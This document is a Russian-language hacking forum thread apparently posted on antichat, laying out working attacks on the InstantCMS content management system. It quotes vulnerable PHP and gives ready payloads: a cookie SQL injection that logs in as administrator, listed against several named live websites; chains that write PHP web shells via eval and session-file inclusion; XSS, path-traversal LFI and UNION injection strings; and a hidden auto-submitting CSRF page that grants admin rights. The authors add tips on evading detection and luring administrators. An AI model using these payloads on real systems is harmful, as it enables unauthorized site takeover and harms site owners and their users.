blind SQL inj & обход авторизации

Предыдущая тоже.

core/classes/user.class.php

PHP код:

---

...public function autoLogin(){

        $inDB       = cmsDatabase::getInstance();
        $inCore     = cmsCore::getInstance();
        
        if ($inCore->getCookie('userid') && !$this->id){

            $cookie_code = $inCore->getCookie('userid');

            $sql = "SELECT * FROM cms_users WHERE md5(CONCAT(id, password)) = '$cookie_code' AND is_deleted=0 AND is_locked=0";
            $res = $inDB->query($sql);

            if($inDB->num_rows($res)==1){
                $userrow = $inDB->fetch_assoc($res);
                session_register('user');
                $_SESSION['user'] = self::createUser($userrow);
                cmsCore::callEvent('USER_LOGIN', $_SESSION['user']);
                $inDB->query("UPDATE cms_users SET logdate = NOW() WHERE id = ".$_SESSION['user']['id']);
                $this->resetStatTimer();
            } else {
                $inCore->unsetCookie('user_id');
            }

        }

        return true;

    }... 


---

core/cms.php

PHP код:

---

...public function getCookie($name){
        if (isset($_COOKIE['InstantCMS'][$name])){
            return $_COOKIE['InstantCMS'][$name];
        } else {
            return false;
        }
    }... 


---

core/classes/db.class.php

PHP код:

---

.../////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public function query($sql, $ignore_errors=false){
    $inConf = cmsConfig::getInstance();
    $sql = $this->replacePrefix($sql);
    $result = mysql_query($sql, $this->db_link);

    if ($inConf->debug){
        $this->q_count  += 1;
        $this->q_dump   .= '<pre>'.$sql.'</pre><hr/>';
    }

    if (mysql_error() && $inConf->debug && !$ignore_errors){
        die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
    }
    
    return $result;
}... 


---

Как видно здесь блинд & обход авторизации (можно так сказать).
Устанавливаем в куки ; InstantCMS[userid]=antichat' or group_id=2/*

group_id=2 - група админов поидеи!
В детали не уходил, ну у меня в таблице в админа 2 .
Появляються линки в панели, доступные для админа и можно смело заходить, тока не сразу, сессионные куки тока установляться. Заходим на любой линк ):.

Вот так будет точнее, потому что надо чтоб запрос вернул одну запись.
В одной групе может быть много админов, и кука выше толку не даст!:
; InstantCMS[userid]=antichat' or 1=1 limit 0,1/*
Если попался не админ, то крутим limit.

Мы админ, мои приветствия!

Блинд можно бистрее крутить через ошибку если cms крутиться в режиме отладки.
Выше в посте о блинде в предыдущей версии было названа переменная, которая отвечает и где находиться.

target: index.php (та й в принцыпе любая!)

Дорк: InstantCMS

Условие: mg=off

пример ис жызни:
http://instant-cms.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

http://lig.com.ua/
в режиме отладки.
; InstantCMS[userid]=12345' or 1=1 limit 0,1#

http://bboldino.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

http://www.combatshop.biz
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

в режиме отладки!
http://expo.sec4all.info
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*

Баги не пофиксены.
Code Execution + LFI(Win) и Blind SQL inj описаны в постах выше.

Result:
http://www.instant/admin/index.php?url=Location:+index.php&f=css/1.php&cod=%3C?+system($_GET[cmd]);+?%3E&view=;file_put_contents($_GET[f],$_GET[cod]);header($_GET[url]);rand

http://www.instant/admin/css/1.php?cmd=dir

Можна еще урл-кодировать чтоб непаливно было! Не забываем что file_put_contents - PHP 5.

Имеем при mg=on!

Можна поиграться с каталогом proc или с протоколом дата (php>=5.2.0 і allow_url_include=on)!

На сколько фантазии хватит на стока и пыхаем код1

С блинд анолочино поста выше.

Главное - заманить авторизованого админа!

Еще раз возвращаемся к єтой CMS.

Cмотрим админку в самой последней версии.
/admin/includes/cp.php

PHP код:

---

function cpProceedBody(){
    
    ob_start();
    
    $link = str_replace('/', '', $GLOBALS['applet']);
    $link = str_replace(':', '', $link);
    $link = str_replace('-', '', $link);
    $file = $link . '.php';
    include('applets/'.$file);
    eval('applet_'.$link.'();');
    
    $GLOBALS['cp_page_body'] = ob_get_clean();
    
} 


---

Как видно, баг не пофиксен.

Искал уязвимости, но увилел запись в сесcию и неоставил без внимания.
/components/price/cart.php

PHP код:

---

    define("VALID_CMS", 1);    
    session_start();

    include('../../includes/config.inc.php');            //configuration
    include('../../includes/database.inc.php');        //database connection
    include('../../core/cms.php');                    //CMS engine
    
    if (isset($_REQUEST['addtocart'])){
    
        if(!isset($_SESSION['cart'])) { session_register('cart'); $_SESSION['cart'] = array(); }
    
        foreach($_REQUEST as $key=>$value){
            if (strpos($key, 'item')===0){
                if(isset($_SESSION['cart'][$value])){
                    $_SESSION['cart'][$value] += $_REQUEST['kolvo'][$value];
                } else {
                    $_SESSION['cart'][$value] = $_REQUEST['kolvo'][$value];
                }
            }
        }
        header('location:/price/cart.html');
    }

    if (isset($_REQUEST['clearcart'])){
        $_SESSION['cart'] = '';
        session_unregister('cart');
        header('location:/price/cart.html');
    } 


---

Результат:
Пишем в сесию выполнение eval.
PHPSESSID=c44e2475683109ef2da34559883edc2f
_http://[host]/[path]/components/price/cart.php?addtocart&item=e&kolvo[e]=<? $handle = fopen('b.php', 'w');fwrite($handle, '<? eval(stripslashes($_REQUEST[f])); ?>');fclose($handle); ?>

После CSRF в админке

Win
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=Z:\tmp\sess_c44e2475683109ef2da34559883ed c2f
Диск на винде можно, например, с константы __FILE__ выдрать.

Unix
_http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=/tmp/sess_c44e2475683109ef2da34559883edc2f


Имеем выполнение кода для нас
_http://[host]/[path]/admin/b.php?f=phpinfo();


плюс - не надо задевать другие ресурсы, тоесть вся информация крутиться на целевом сервере!

Можно заюзать LFI The matrix. Посмотрел в 1.5.2 файл cart.php - такой же ):

Пассивная XSS

Цитата:

/index.php?view=price&do=search&query=%22onMouseMov e=%22javascript:alert();%22

Цитата:

/admin/index.php?view=components&do=config&id=21&opt=edit &item_id=1%22%3E%3Cscript%3Ealert();%3C/script%3E

LFI

Нужны права админа.

Т.к. при ../ - слэш убираеться, юзаем ..\
/admin/index.php?view=..%5C..%5Cshell.txt%00
(В корне лежал файл shell.txt с phpinfo(); ), код выполнился.

SQL Inj
Нужны права админа.

/admin/index.php?view=components&do=config&id=21&opt=edit &item_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+

PHP код:

---

if (isset($_SESSION['editlist'])){
                        $id = array_shift($_SESSION['editlist']);
                        if (sizeof($_SESSION['editlist'])==0) { unset($_SESSION['editlist']); } else 
                        { $ostatok = '(На очереди: '.sizeof($_SESSION['editlist']).')'; }
                     } else { $id = $_REQUEST['item_id']; }
        
        
                     $sql = "SELECT * FROM cms_user_autoawards WHERE id = $id LIMIT 1";
                     $result = dbQuery($sql) ;
                     if (mysql_num_rows($result)){
                        $mod = mysql_fetch_assoc($result);
                     } 


---

CSRF exploit:

Код HTML:

---

<html>
<title> Fs3M Chm0k3 v 3Nt0m ch4te! =* </title>
<div style='display: none'>
<form action="http://shop/admin/index.php?view=users&do=edit&id=21" method="post" enctype="multipart/form-data" name="addform" id="addform">
<input name="login" type="text" id="logininput" value="Login" />
<input name="nickname" type="text" id="login" value="Xenker"/>
<input name="email" type="text" id="nickname" value="abcd@localhost"/>
<input name="pass" type="password" id="pass"/>
<input name="pass2" type="password" id="pass2"/>
<select name="group_id" id="group_id"><option value="2" >Администраторы</option></select>
<input name="is_locked" type="radio" value="0" checked="checked" />
 Нет
<input name="do" type="hidden" id="do" value="update" />
<input name="add_mod" type="submit" id="add_mod" value="Сохранить профиль" />
</div>
<script>
document.addform.submit();
</script>
</html>

---